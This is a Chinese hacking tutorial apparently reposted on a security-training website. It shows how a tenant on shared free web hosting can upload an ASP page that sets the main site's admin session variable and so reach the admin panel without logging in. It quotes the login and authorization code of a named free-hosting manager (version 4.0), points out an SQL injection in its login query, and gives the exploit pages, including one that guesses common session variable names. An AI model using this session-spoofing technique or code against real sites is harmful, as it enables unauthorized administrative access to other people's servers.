首页 实地培训 VIP专区 文章中心 下载中心 精品动画 安全服务 安全产品 企业文化
技术论坛
 -->开创网络首先基于以学员为中心的人性化教学方式。以案例式教学、互动式教学为主线。
 
  当前位置: 首页 > 文章中心 > 黑客技术 >
 
 
推荐:Session欺骗的终极技术
发布者ID:3 作者: 发布时间:2008-05-12 00:48:13 来源: 点击:
 

看了第四期LM团伙写的《利用Session欺骗构造最隐蔽的WebShell》,虽然具体技术不是很明白,但是基本意思理解了。忽然有了自己的一点思想:现在的免费空间主目录和用户的目录都在同一个网站上,例如网站主目录是d:\wwwroot,而用户申请的免费空间的目录就是d:\wwwroot\用户名,例如d:\wwwroot\iceworld,主站的管理员登录是通过Session验证的,如果我们在自己的空间内构造一个同主站相同的Session变量以及Session的值,是不是就可以欺骗主站呢?
不知道大家理解了没。
假如adminlogin.asp是主站管理员登录页面,如果登录成功,就把Session("login")="yes",并转到adminmanage.asp进行管理。当然,adminmanage.asp有Session("login")的检测。现在我们在自己申请的空间目录iceworld中建立一个文件admin.asp,这个文件的作用是使Session("login")="yes",我们先访问自己的admin。asp,然后访问adminlogin.asp,应该不用再登录了,而是直接进入adminmanage.asp。事实是否可以呢?我们找个免费空间测试一下。
以九酷网络提供的免费空间管理系统(V 4.0免费版)为例子来说明吧,本地测试先。
我们先分析一下。主目录是d:\wwwroot\9coolhome,管理目录是d:\wwwroot\9coolhome\manage。默认用户目录是d:\wwwroot\9coolhome\用户名。
先看看管理员登录过程,登录文件是login.asp,关键代码如下:
code=replace(trim(Request("code")),"'","")
If code<>CStr(Session("CheckCode")) Then
Response.Write("<script language=javascript>alert('请输入正确的验证码!');top.location.href='login.asp'</script>")
Response.End
end if
'上面代码是对验证码进行检测
name=htmlencode2(request.form("name"))
pwd=htmlencode2(md5(request.form("pwd")))
loginip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
if loginip= "" then loginip=Request.ServerVariables("REMOTE_ADDR")
sql="select * from manage_user where UserName='"&name&"' And PassWord='"&pwd&"'"
rs.open sql,conn,1,3
If not rs.eof = True Then
rs("logintime")=Now()
rs("loginip")=loginip
rs.update
Session("name") = rs("username")
Session("pwd") = rs("password")
Session("time") = now()
Response.Redirect("default.asp")
'如果接受到的用户名和密码正确,更新最后登录时间和IP地址,并且赋值给3个Session变量,然后转到管理页面default.asp,不知道大家有没有注意到那个SQL语句也有问题啊!
else
set rs2=server.createobject("adodb.recordset")
sql2="select * from log"
rs2.open sql2,conn,1,3
rs2.AddNew
rs2("type")="非法登录"
rs2("username")=name
rs2("password")=request.form("pwd")
rs2("loginip")=loginip
rs2("time")=now()
rs2.update
rs2.Close
set rs2=nothing
Response.write"<script>alert('对不起,管理员帐号或密码错误!');location.href='login.asp'</script>"
end if
'如果登录失败的话,填写错误登录日志
管理页面default.asp的第一行包含了一个文件,<!--#include file="admin.asp"-->,而这个admin.asp就是用户权限审核页面了,我们看看:
<%
if Session("name")="" then
Response.write"<script>alert('对不起,您还没有登录,或登录超时,请重新登录!');top.location.href='login.asp'</script>"
response.End
end if
%>
只要Session("name")不为空就认为登录成功啊,好办了!我们申请一个用户iceworld,上传一个文件index.asp到自己的目录中去,内容如下:
<%
Session("name")="yes"
response.Redirect("../manage/default.asp")
%>
访问看看,是不是直接进入了管理页面。


要进行这种Session欺骗,必须有三个前提:
1.进行欺骗的网页和被欺骗的网页必须位于同一个网站内,上期黑防上LM团伙和koshan已经说得很清楚了。
2.必须知道管理页面。
3.必须知道Session变量以及它的限制条件。
至于解决方法,第一个问题就不用说了吧,这篇文章就是在这个前提下进行的。第二个问题,相信大家以前SQL注入的时候早就遇到过,各显神通吧!对于第三个问题,首先看看主站是不是使用了别人写的程序,如果是的话,下载一个源程序进行查看,应该不会有很多人喜欢改源代码吧!如果是站长自己写的程序的话,我们就猜,跟猜后台一样:
Session("name")="admin"
Session("login")="admin"
Session("AdminName")="admin"
......
当然不要手工进行了,我们在admin.asp中写上:
<%
Session("name")="admin"
Session("login")="admin"
Session("AdminName")="admin"
'加上其它你所知道的
%>
为了照顾不会写ASP的同仁们,所以我写了一个简单的利用页面(见光盘index.asp)。很容易理解的。如果你刚好申请的是九酷的免费空间,的填写就可以了。
最后说明两点:
第1:虽然本文标题说是突破免费空间,但是应用不仅仅是免费空间哦!
第2:看了第四期中彭硕大哥写的《打破SSS的技术封锁》,只有一个感觉——爽!没有什么高深的技术,因为我基本上都能理解,而这种思路是学不来的!感谢黑防为我们提供这样好的文章,期待更好的文章!



 
 
 
 
   
 
   
     
  • 课堂实景
  • 课程体系
  • 培训课程
  • 学费介绍
  • 巧用mstsc命令登录到console的方法
  • 课程介绍
  • 团队介绍
  • Linkideo免费Vpn
  • 就业前景
  • 汇款方式
  •  
     
     
    无标题文档
    一流开创网一流开创网一流开创网一流开创网一流开创网一流开创网一流开创网
      关于我们 | 联系方法 | 招聘信息 | 加入会员 | 诚征代理 | 广告服务 | 欢迎投稿 | 友情链接  
      版权所有:吉林省开创科技信息有限公司  
      服务热线:0431-84714442
    Copyright 2001 - 2007 All Rights Reserved